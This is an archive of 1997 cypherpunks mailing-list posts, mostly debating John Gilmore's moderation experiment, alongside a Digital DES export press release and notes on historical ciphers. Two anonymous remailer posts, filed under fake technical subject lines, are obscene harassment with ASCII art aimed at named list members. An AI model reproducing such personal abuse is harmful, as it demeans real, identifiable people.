> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.

"Conclusively" this has shown only that most folks are willing to go
along with an experiment -- especially if it requires them to do 
exactly nothing.  The results of the moderation experiment itself
can't possibly be conclusive until the moderation has gone on for
much longer--a few months at least, possibly years.  Then, we'll see
how many people are willing to put up with the high volume over the
long term, even possibly in the absence of thoughtful essays from
long-time list members (like Tim) who have been driven away from the
list.

Even if it "survives" by that criteria, it may not survive in *my*
book.  There are only a handful of people whose posts make the
cypherpunks list worthwhile (IMO of course).  There're quite a few
others who contribute to the discussion but aren't themselves worth
the trouble (no offense intended to anyone; I would certainly count
myself in this group as well).

I don't deny that putting up with the noise on the list takes some
effort.  In fact, after years of surviving with only my 'd' key, I'd
finally been driven to install a procmail filter shortly before
moderation was announced.

Interestingly, since that point, it *has* become more difficult to
filter--but IMO that's because it's also gotten less interesting
(how do you know if you're filtering is successful?).  In fact,
lately I've begun to "filter" *all* of cypherpunks into an alternate
mailbox file, and find that I'm perfectly content to look at it only
every couple of days, and just pick and choose among the posts based
on author and subject.  I don't claim to be representative of the
average cypherpunk, but in my view, this is a bad sign--it indicates
a lack of compelling "content".  It might as well be a Usenet group--I
don't feel like a "member of the Cypherpunks list" anymore.  As the
list stands now, I would hardly even notice (or care) if I were no
longer subscribed.


> I'm definitely bugged by the community's attitude toward my
> "censorship".  Rather than being glad that someone, anyone, was doing
> something about the major problem on the list, 99% of the reaction was
> to create even more ill-considered, emotional flamage.  *I* didn't
> make the signal/noise get worse at that point -- *you-all* did.

Well, I did do something.  When the volume got too high for me to take
unassisted, I installed procmail to tailor the list to my own likings.
Many have been advocating it on the list for years.  I was just too 
lazy to do so until the pain of not having it finally got too high.

As for the signal to noise ratio, John hasn't made it worse, but he
hasn't made it much better either.  No offense is intended--John's 
posts were always at the top of my reputation list--but he posts so
infrequently that he falls into that "not worth subscribing for" group.


What was the problem with the list that finally required that somebody
"do something"?  Sure, the list was high volume.  And there were a
lot of flames and silly useless garbage.  But this is no different
than it has been for years.  And the Vulisgrams were no more (or less)
vicious or annoying than Detweiler's Medusa and S.Boxx rants from the
old days.

(The reason I personally could stand it [without procmail] back then
was that I wasn't on so many *other* mailing lists at the same time.)


> The experiment will be over in a few weeks.  Who's going to take over
> deciding how to run the list, and running it?

Can't we just forget any of this ever came up?  Drop the moderation, 
resubscribe the Vulis 'bot and go on as before.


> PS: Can we talk about crypto too? ...

Sorry, that would be off-topic; this list is only for discussions of
the cypherpunks moderation policy.  Maybe you could post something on
Perry's "cryptography" list though.  (:-)


-- Jeff




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Tue, 4 Feb 1997 14:10:28 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702042210.OAA22704@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Steve Boursey writes:
>   Well EFF itself is a lie--the were very well exposed by Wired Mag. a
> while back as being nothing more than a corporate whore.  They represent
> the interests of owners not consumers--the ACLU has been very open
> in their critisism of the EFF in this regard.  A large corporation
> waves some money in front of their noses and tells them to bend
> over you can be sure they'll bend over.  

It's not clear from where I sit that the EFF is intrinsically evil.  A
case can be argued for their initial good intentions followed by the
subsequent poisoning of this intent by people with lots of money. Of
course, -any- organization is as susceptable to infiltration as their
weakest member.

> Respectable free speech advocates do not associate with EFF.

If one is going to advocate free speech, I strongly suggest one
learns to deal with one's own greed and one's own need for power
first. 
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           You possess only what will not be lost in a shipwreck.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 11:37:06 -0800 (PST)
To: gnu@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <01IF0RKNC5OW9AN1CU@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gnu@toad.com"  "John Gilmore"  4-FEB-1997 12:20:22.10

>Tim, the Cypherpunks have chosen to follow Sandy's lead for this
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

	You're making an invalid assumption... namely that people who
stayed on the moderated list are neccessarily wanting it to be the
main list. This isn't the case with me, for instance. I'd also point
out that some of us - including me - were taking the time to take a
look at what happened with the moderated list. On the one hand, it
did result in a decrease in the trash messages... on the other hand,
it also drove away 1+ good posters (TCMay for one).
	As I've said before, I might wind up going with Sandy's (or
some other) filtered list. But changing the name (effectively, to
cypherpunks-unedited) was a bad idea.

>I'm definitely bugged by the community's attitude toward my
>"censorship".  Rather than being glad that someone, anyone, was doing
>something about the major problem on the list, 99% of the reaction was
>to create even more ill-considered, emotional flamage.  *I* didn't
>make the signal/noise get worse at that point -- *you-all* did.

	I can see how you might ignore objections from those who
did make the signal/noise get worse... but from those who didn't?
_I_ tried to help you by letting you & Sandy know when something
was going wrong.

>Perhaps at that point I should have shut down the list, as Lucky is
>now suggesting.  "Asking the list what to do" was clearly not a useful
>option.  Sandy cared enough about the community to make some concrete
>suggestions to me about how to get the list back on track.  They
>involved a lot more work than the previous setup.  I told him if he
>was willing to do the work, we could try it.  As Dale suggests, I
>wasn't about to waste my time reading the whole list in real time and
>passing judgement on the postings.  Sandy was, for a month.

	I (and others, I believe) are gratified by y'all's attempts
to help. I just think that you went about it the wrong way.

>Start a mailing list on another site!  Move this list to somewhere!

[...]

>The experiment will be over in a few weeks.  Who's going to take over
>deciding how to run the list, and running it?

	Would you be willing to help in starting up a distributed
list? That would appear to solve at least some of the toad.com problems
(keeping it running 24 hours a day, 7 days a week) with which I am
sympathetic.

>If you want to help organize what I'll call the `progressive crypto
>community', for lack of a better term, then please do.  Otherwise, in
>the immortal words of Lazarus Long, "PIPE DOWN!".

	I'm willing to help the _libertarian_ crypto community, to the
limit allowed by my available resources (I'm a grad student). Organize?
I'm not so sure to what degree that's helping. Progressive? I'm not a
liberal. Slight but meaningful difference in terms.

>PS: Can we talk about crypto too?  It's clear from the last few days
>of press releases that the pro-GAK forces are again working to confuse
>novices into thinking that two very different things are the same
>thing.  Last time it was "public key infrastructure" and "key
>recovery".  This time it's "strong crypto" and "56-bit DES".  What
>should we do about this?  Educate the public?

	The public won't listen until 56-bit DES is broken; then,
they can be told that "somebody broke the cryptography used by
banks" and they might listen. In other words, what can be done
is supporting DES-breaking efforts (ideally, via the collection
of different possible keys and their indicators, as someone
had mentioned earlier - sorry, I'm a biologist, not a mathematician,
so I've forgotten the actual terms. It was something that would
essentially enable the near-instant breaking of _any_ DES code after
the competion of the project. My apologies if I've gotten mixed up
on this).
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Tue, 4 Feb 1997 11:28:01 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <32F6FD0C.5D98@gte.net>
Message-ID: <Pine.LNX.3.95L01at.970204141704.416A-100000@homebox>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 4 Feb 1997, Dale Thorn wrote:

> Scott V. McGuire wrote:
> 
> > (Even within the community, some people are more a part of
> > it than others, and nobody is more a part of it then Tim.)
> 
> Is this like saying "some of the pigs were more equal than the others"?
> 

No, in this case there is not even a pretense of equality.

- --------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@berserk.com>
Date: Tue, 4 Feb 1997 05:28:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP sourcecode books
Message-ID: <199702041327.OAA03778@asylum.berserk.com>
MIME-Version: 1.0
Content-Type: application/x-pgp-message

application/pgp-message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dave.hodgins@westonia.com (DAVE HODGINS)
Date: Tue, 4 Feb 1997 11:35:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: MY DEPARTURE, MODERA
In-Reply-To: <199702032259.OAA05072@toad.com>
Message-ID: <8D16367.0001051748.uuout@westonia.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

AB> My main complaints about the `filtering' service forced upon the list
AB> readership are that:
AB> 1. It was done to the main list!  If cypherpunks were left unchanged,
AB> and a `cypherpunks-edited' were created I wouldn't have a problem, it
AB> would be just another filtered list.  However there are already

  As a lurker (I've only sent 4 messages to the list in the last 3 years),
I agree completely with Adam Back's post.

  I'd also like to point out, that I rarely read all of the messages, and
tend to select which messages to read, based on the subject.  Because of
this, I missed the message announcing that the moderation had started, 
and that there was a new, unedited list.  I didn't realize the moderation
had started, until I noticed the lack of autobot insults, and then looked
at some of the messages from the moderation thread.

  I get the list via email, through a pcboard bbs, mixed in with all of
my personal email.  I wrote a program, to separate everything from the
list into separate folder.  Switching over to the unedited list, will
require a bit more for me, then just unsubscribe/subscribe.

  I'll wait and see if the moderation continues on the main list.  If it
does, I'll go through the bother of switching to the unedited list.

  Regards, Dave Hodgins.

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---
 þ RM 1.31 0820 þ Internet:Dave.Hodgins@Westonia.com Rime->1347 Fido 1:250/636




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Tue, 4 Feb 1997 13:33:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: [UPDATE] Making OCR'ed code transfer easier
Message-ID: <199702042133.OAA28030@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Deceased Vilus has such a small penis because the mohel who
circumcised him was trying to do the world a favor.

    _   /|
    `o_O'   Deceased Vilus
     ( )
      U






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Tue, 4 Feb 1997 15:58:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <199702041456.GAA28779@toad.com>
Message-ID: <l03010d03af1d7b43dd5c@[204.57.198.5]>
MIME-Version: 1.0
Content-Type: text/plain


>I'm glad we're talking about some of the real issues here.
>
>Tim May said:
>> I don't want Sandy Sandfort sitting in judgment on my
>> posts, deciding what the Cypherpunks--a group I co-founded for God's
>> sake!!!!--are to be allowed to read and what they may not.
>
>Tim, the Cypherpunks have chosen to follow Sandy's lead for this
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

[huge snip]

If I might make a suggestion:

Some people want moderation. That's fine, I've never been very big on
letting other people choose what I read, but some people want it.

For those who want it, let someone moderate the list for as long as
they care to do it. Approved messages get a "X-sandy-approved"
header. The responsibility for setting up a filter to toss everything
that doesn't have the header is the responsibility of the end user.
Toad will need to filter incoming posts to make sure they don't come
"pre-approved", but that's the only hole I can think of.

Everyone gets all of the Cypherpunks list. Those who want moderation
filter the unapproved posts, those who want all of it get all of it.

Hopefully, this will make (almost) everyone happy.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 4 Feb 1997 14:19:35 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU (E. Allen Smith)
Subject: Re: Dissolving Choke Points
In-Reply-To: <01IF0X8F06V49AN1CU@mbcl.rutgers.edu>
Message-ID: <199702042214.QAA10072@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


E. Allen Smith wrote:
> 
> 	Hmm... since both you and Bill Stewart are pointing out various
> advantageous things about Usenet, I may need to retract my previous statement
> that mail fitering is better.

You were right initially, I agree that mail filtering has better tools
than news filtering (if you use Unix).

Procmail can do absolutely any filtering, unlike most news readers.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 18:41:02 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <v03007810af1d7405e4ee@[168.161.105.191]>
Message-ID: <32F7D350.1CA8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Adam writes:
> >The problem with censorship or moderation is that it waters down the
> >absolutism of free speech.  Free speech in electronic media, with
> >cypherpunks type I, and type II remailers, is the closest thing to
> >truly free speech yet.

> I agree and disagree. Moderation often *increases* the value of speech. The
> Wall Street Journal, or Time Magazine, or the JAMA have strict policies
> regarding what information they print; these policies increase the
> publication's value. Moderation is not necessarily censorship. Would you
> criticize the National Coalition Against Censorship for not including in
> their newsletter (to which I subscribe) off-topic rants by Jesse Helms?

JAMA is an example of moderated (good) speech?  Not from where I sit.
Look at the "interview" they published in the spring of 1992 with the
Kennedy autopsy doctors.  Then read about how they twisted the whole
thing (and really didn't interview the doctors) a la 60 minutes.

> What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> common resource, making it unusable for the rest. It's the tragedy of the
> commons. When all can speak without limit in a public forum, the drunken
> boor can shout everyone else down.

The drunk can be excluded, but when someone wants to use the drunk as
an example to escalate the exclusion to other persons who are not in
fact drunk, watch out!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 18:41:10 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <01IF0RKNC5OW9AN1CU@mbcl.rutgers.edu>
Message-ID: <32F7D432.6298@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> From:   IN%"gnu@toad.com"  "John Gilmore"  4-FEB-1997 12:20:22.10

> >Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> >month.  I'll admit I made it easy for them, but the results are
> >conclusive.  There are 1311 addresses in the cypherpunks list today;
> >42 in the unedited list; and 19 in the flames list.  Forty people
> >cared enough to read every posting; the other thousand either wanted
> >to try the experiment -- or didn't care enough to send an email
> >message.  Which, as we all know, is a very low threshold.

>         You're making an invalid assumption... namely that people who
> stayed on the moderated list are neccessarily wanting it to be the
> main list. This isn't the case with me, for instance. I'd also point
> out that some of us - including me - were taking the time to take a
> look at what happened with the moderated list. On the one hand, it
> did result in a decrease in the trash messages... on the other hand,
> it also drove away 1+ good posters (TCMay for one).

What's really ironic here is that given three people who have knowledge
of crypto/politics and something to say, the lesser two drove the best
one away.  Boo, hiss.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 4 Feb 1997 14:47:00 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: New X-Ray Imager
In-Reply-To: <199702041941.LAA04346@toad.com>
Message-ID: <199702041649.QAA13848@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702041941.LAA04346@toad.com>, on 02/04/97 at 01:19 PM,
   ichudov@algebra.com said:


>Lucky Green wrote:
>> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
>> >| A poll last week by the Los Angeles Times found that a majority of
>> people --
>> >| 58 percent -- said they would curtail some civil liberties if it would help
>> >| thwart terrorism. Thirteen percent said it would depend on what rights were
>> >| at stake. The poll didn't ask people to single out any rights.
>> >
>> >	Its worth noting the 'if it would help thwart terrorism.' 
>> 
>> It is irrelevant if terrorism is indeed be thwarted. The public does not
>> require this to happen. All that matters is to generate the *perception* of
>> increased security, not to increase security itself.

>Let's remember though that perception of security applies not only to
>passengers, but also to potential terrorists. If they *think* that they
>would not be able to bring a bomb easily, they would be less inclined to
>do so.

Not really,

The thin vail of "security" that the goverment provides may be good enough
to give warm-fuzzies to the avarage sheep, ...er citizen, but the potential
terrorists will see it for what it is.



- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 13:59:41 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Dissolving Choke Points
Message-ID: <01IF0X8F06V49AN1CU@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gbroiles@netbox.com"  "Greg Broiles"  4-FEB-1997 14:55:18.91

>But my impression is that many moderation opponents would also be opponents
>of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many
>people claim we must have for the list to be viable, e.g.,
>uncontrolled/uncontrollable distribution and messaging. So I'm curious about
>whether or not the proponents of an open, uncontrolled list really want it to
>be *that* open and uncontrolled. In the past, there's been strong opposition
>to that. But it's possible that most of the people who had strong feelings
>about not wanting to be subjected to the downside of Usenet have already left
>the list.

>(And if the current opponents of moderation don't want to see the list be
>quite that open, I think what we're arguing about here is not "censorship v.
>no censorship" but "what degree of censorship do we want? one lump, or two?",
>which pretty much eliminates anyone's claim to have a moral high ground from
>which to argue.)  

	Umm... there's a difference. Moderation is control by a _person_;
not moving to Usenet is control by nobody except how things happen to be set
up.

>The good side I see to a move to Usenet is that it lets people use the
>comparatively better tools for managing messages - e.g., NoCeM, threading, nn
>(whose killfiles will kill by thread, author, regexp, and can be time limited
>so you can easily give annoying people a 30-day 'timeout' and see if they're
>still a kook later on), AltaVista and DejaNews archiving/searching, and
>server architecture that's designed to cope with storing/indexing many
>messages.

	Hmm... since both you and Bill Stewart are pointing out various
advantageous things about Usenet, I may need to retract my previous statement
that mail fitering is better. On the other hand, other people have mentioned
the susceptibility of email to write-your-own filtering and other
processing. (For instance, I've got a project that needs cypherpunks (and
other controversial groups) to be on mailing lists instead of (or at least
as well as) news servers to work right.) Is there a full-scale equivalent
of procmail for Usenet, including functions like shunting messages to
programs et al?

>The down side is that Usenet is more or less a sewer these days, and some of
>it's bound to spill over. 

	Quite.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Tue, 4 Feb 1997 17:18:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <5d8las$jps@fido.asd.sgi.com>
Message-ID: <32F7DFD7.794B@sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?
> 

I have only one objection. I will never post to an Usenet group
under my real email address for fear of ending up in spammer
databases.

-- 
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Emery" <die@pig.die.com>
Date: Tue, 4 Feb 1997 14:32:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: BA Crypto Machine Photos (fwd)
Message-ID: <9702042232.AA00365@pig.die.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:
>From boatanchors@theporch.com  Tue Feb  4 12:01:17 1997
Date: Tue, 4 Feb 1997 10:53:20 -0600 (CST)
Message-Id: <Chameleon.4.01.2.970204112304.jproc@>
Errors-To: listown@jackatak.theporch.com
Reply-To: jproc@bellglobal.com
Originator: boatanchors@theporch.com
Sender: boatanchors@theporch.com
Precedence: bulk
From: jproc@bellglobal.com
To: Multiple recipients of list <boatanchors@theporch.com>
Subject: BA Crypto Machine Photos
X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas
X-Comment: Amateur Radio Equipment Using Vacuum Tubes
Content-Type: TEXT/PLAIN; charset=US-ASCII
Mime-Version: 1.0
X-Mailer: Chameleon - TCP/IP for Windows by NetManage, Inc.

Dear BA'ers,

Recently, I acquired some BA crypto machine photos courtesy of the Canadian 
Security Establishment. If anyone wants full size, selected, JPEG copies of 
these photos, please let me know and I can send them as attached files to 
E-mail. As a reminder, there are two stories beginning with the same file 
name in the BA archives which accompany the photos.

KL7.JPG     Colour 108 kbytes
KWR37.JPG   B & W   51 kbytes   

BTW, does anyone know the meaning of 'order wire mode' in the context of a 
crypto broadcast? This mode is found in the KWR-37 online crypto 
receiver. Please send all photo requests or responses via private E-mail.

Regards,
-------------------------------------
Jerry Proc VE3FAB
E-mail: jproc@bellglobal.com
HMCS Haida Naval Museum
Toronto, Ontario
'Looking for a 'AN/SRC-501' 
-------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Tue, 4 Feb 1997 13:41:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod. (fwd)
Message-ID: <Pine.LNX.3.91.970204174546.16199C@offshore>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Tue, 4 Feb 1997 08:37:24 -0500
From: DIGITAL PRESS RELEASE <irprod@nimv03.das.dec.com>
To: pr-news@majordomo.das-x.dec.com
Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod.


||||||  Digital Press and Analysts News  ||||||||||||||||||||||||||||||||||

                                              Digital Equipment Corporation
                                          Maynard, Massachusetts 01754-2571

Editorial contact:

   Patrick Ward
   (508) 493-9441
   patrick.ward@mail.dec.com

           Digital Equipment Corporation Wins US Department of 
         Commerce Approval to Export Stronger Encryption Products

                 56-bit Data Scrambling Technology
               Safeguards Internet Commerce Worldwide

MAYNARD, Mass., February 3, 1997 -- Digital Equipment Corporation 
today announced that it has won United States Department of Commerce 
approval to export 56-bit encryption products worldwide, the 
strongest yet for protecting Internet commerce worldwide.

     Last week a University of California at Berkeley graduate 
student used a set of workstations to crack a 40-bit encryption code 
in 3.5 hours.  "The same workstations would require more than 20 
years to break a 56-bit Data Encryption Standard (DES Code), 
according to Samuel H. Fuller, DIGITAL's vice president and chief 
scientist.

     "The Commerce Department's action enables DIGITAL to provide 
its international customers with complete systems for electronic 
commerce over the Internet, including the necessary security 
software," according to DIGITAL's Chairman, Robert B. Palmer. "This 
makes the Internet more attractive for our customers worldwide, and 
represents an exciting market opportunity for DIGITAL."

     "We are very pleased with the leadership shown by DIGITAL's top 
management, including Robert Palmer, in making a long-term 
commitment to develop, produce and market key recovery products and 
to take advantage of the Administration's new policy on encryption 
exports," said Sue E. Eckert, assistant secretary for Export 
Administration.

     DIGITAL will immediately export 56-bit encryption for its 
OpenVMS operating systems and for its RoadAbout/DES Product for 
wireless LAN computing.  Shipments of the 56-bit export version of 
AltaVista Tunnel will follow this year.

     "AltaVista Tunnel software can simply and cost-effectively 
create 'Virtual Private Networks,' allowing customers who are 
traveling or at remote sites to securely access their company's 
private network over the public Internet," said Ilene H. Lang, 
president and chief executive officer of AltaVista Internet 
Software, and a vice president at DIGITAL. "Now the Virtual Private 
Networks we offer to customers in the United States can become 
Global Private Networks as the market expands worldwide."

     The Commerce Department announced on December 30 that American 
companies could export "strong" or Data Encryption Standard (DES)
encryption products, such as DIGITAL's industry-leading AltaVista 
Tunnel, if the companies could demonstrate progress in developing 
key-recovery products over the next two years.  Previously the US 
government had restricted export of strong encryption for security 
reasons.

     Digital Equipment Corporation is a world leader in open client/
server solutions from personal computers to integrated worldwide 
information systems.  DIGITAL's scalable Alpha and Intel platforms, 
storage, networking, software and services, together with industry-
focused solutions from business partners, help organizations compete 
and win in today's global marketplace.
                                ####

Note to Editors:  DIGITAL, the DIGITAL logo and OpenVMS are 
                  trademarks of Digital Equipment Corporation.

CORP/97/537
============================================================================
Digital Press and Analysts News is sent as a courtesy to members of 
the press, analyst and consulting community.  For subscription 
information please contact pr-news@pa.dec.com.  All Digital press 
releases, fact sheets and backgrounders are archived on ftp.digital.com 
in the /pub/Digital/info/pr-news directory.  They are also available at 
http://www.digital.com/info/pr-news/ on the World Wide Web .
============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 4 Feb 1997 18:04:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Zero-knowledge interactive proofs
Message-ID: <199702050204.SAA28886@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


The main difference between Tim C. Maypole and 
shit is that shit smells better.

       o       o
     /<         >\ Tim C. Maypole
     \\\_______///
     //         \\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 18:14:13 -0800 (PST)
To: Clint Barnett <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <199702050213.SAA14535@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
Crazy."  Computer science major, BTW.




At 07:37 PM 2/3/97 -0800, Clint Barnett wrote:
>wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
>having a degree in Chemical Engineering  or something along those lines. 
>
>clint barnett
>lord of the cosmos
>emily carr institute
>
>On Wed, 29 Jan 1997, Anonymous wrote:
>
>> 
>> 
>> According to Rick Osborne:
>> 
>> "I disagree and can speak from experience.  I was denied admission to MIT
>> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
>> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
>> was on several academic teams, sang in Chorus, acted and stage managed in
>> Drama, and played Tennis."
>> 
>> People get into MIT--or don't get into MIT--for lots of reasons. Most
>> intelligent people apply to several schools, knowing that admissions
>> practices are subject to the vagaries of reality.
>> 
>> In my case, my SATs were about 1500, with some 800s in achievement tests.
>> And the usual bullshit high school clubs, political offices, etc. etc. I
>> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
>> way things turned out.
>> 
>> And I decided not to go to MIT, either.
>> 
>> "The only thing I didn't have that the next MIT applicant had was money.  I
>> made the mistake of letting them know that I was dirt poor and would need
>> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
>> Russian front!""
>> 
>> My guess is that "other factors" were involved. 
>> 
>> I noted with some interest, but little surprise, that the guy claiming MIT
>> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
>> had major problems making a coherent point. Methinks this is why MIT
>> rejected him, not his lack of a "1600."
>> 
>> ">For what it's worth, I wanted to go to MIT my sophomore year in high
>> >school, too
>> 
>> "Lucky you.  It had been a dream of mine since I was an annoying
>> overachiever of 6.  Sux to be white trash, I guess."
>> 
>> MIT offered me a substantial economic aid package, in the form of loans,
>> grants, and various campus jobs. What does this tell you?
>> 
>> "MIT may be a great school, but they tend to be snooty assholes for the most
>> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
>> assholes", I'm just saying that I've yet to meet one that wasn't.)
>> 
>> I've known about a dozen or so MIT grads, and only one of them was a snooty
>> asshole, and it was a _she_, one of the first MIT women grads (and she was
>> _very_ impressed by this). 
>> 
>> Most MIT grads are perfectly reasonable.
>> 
>> Xanthar
>> 
>> 
>> 
>> 
>> --
>> 
>
>
>
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 4 Feb 1997 15:40:58 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: concerning Ben Franklin
In-Reply-To: <199702032358.PAA06548@toad.com>
Message-ID: <v0300780faf1d7361be62@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


This is one of the point that I address in my article in the February 1997
issue of "Internet Underground" magazine (to which I am a contributing
editor). Here's an excerpt, since the magazine is just starting to hit the
stands.

---
The debate swirling through Capitol Hill conference rooms and the
corridors of the White House revolves around one basic question: What role
should the government play in regulating encryption?

The founding fathers might be startled by the byzantine rules. After all,
some revolutionaries were cryptographers themselves. Benjamin Franklin in
1781 crafted a substitution cipher based on a 682-character French phrase.
James Madison created a code replacing words with two- and three-digit
numbers that he used until 1793.

But by far the most remarkable cryptologist of the Revolutionary War was
the author of the Declaration of Independence, Thomas Jefferson, who
between 1790 and 1800 invented a cipher system so far ahead of its time
that it remained in use even into the late 20th century.
---

The Codebreakers is also a good source.

-Declan


>I was reading one of the posts in the thread reguarding sone stolen object
>in Miami, the one reffering to the locks of the boxes, and it got me thinking.
>Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman,
>and bookburner (according to F451).  Perhaps he should be considered to be a
>cypherpunk, not that he necessarily knew anything about crypto, but because
>he was interested in many of the same ideals.  It is my belief that were he
>alive today, he would be on this list.  If the work of fiction referred to
>above, and in another recent post, is accurate in its reference to Franklin,
>then he would seem to have had the same solution to net pollution, burn it.
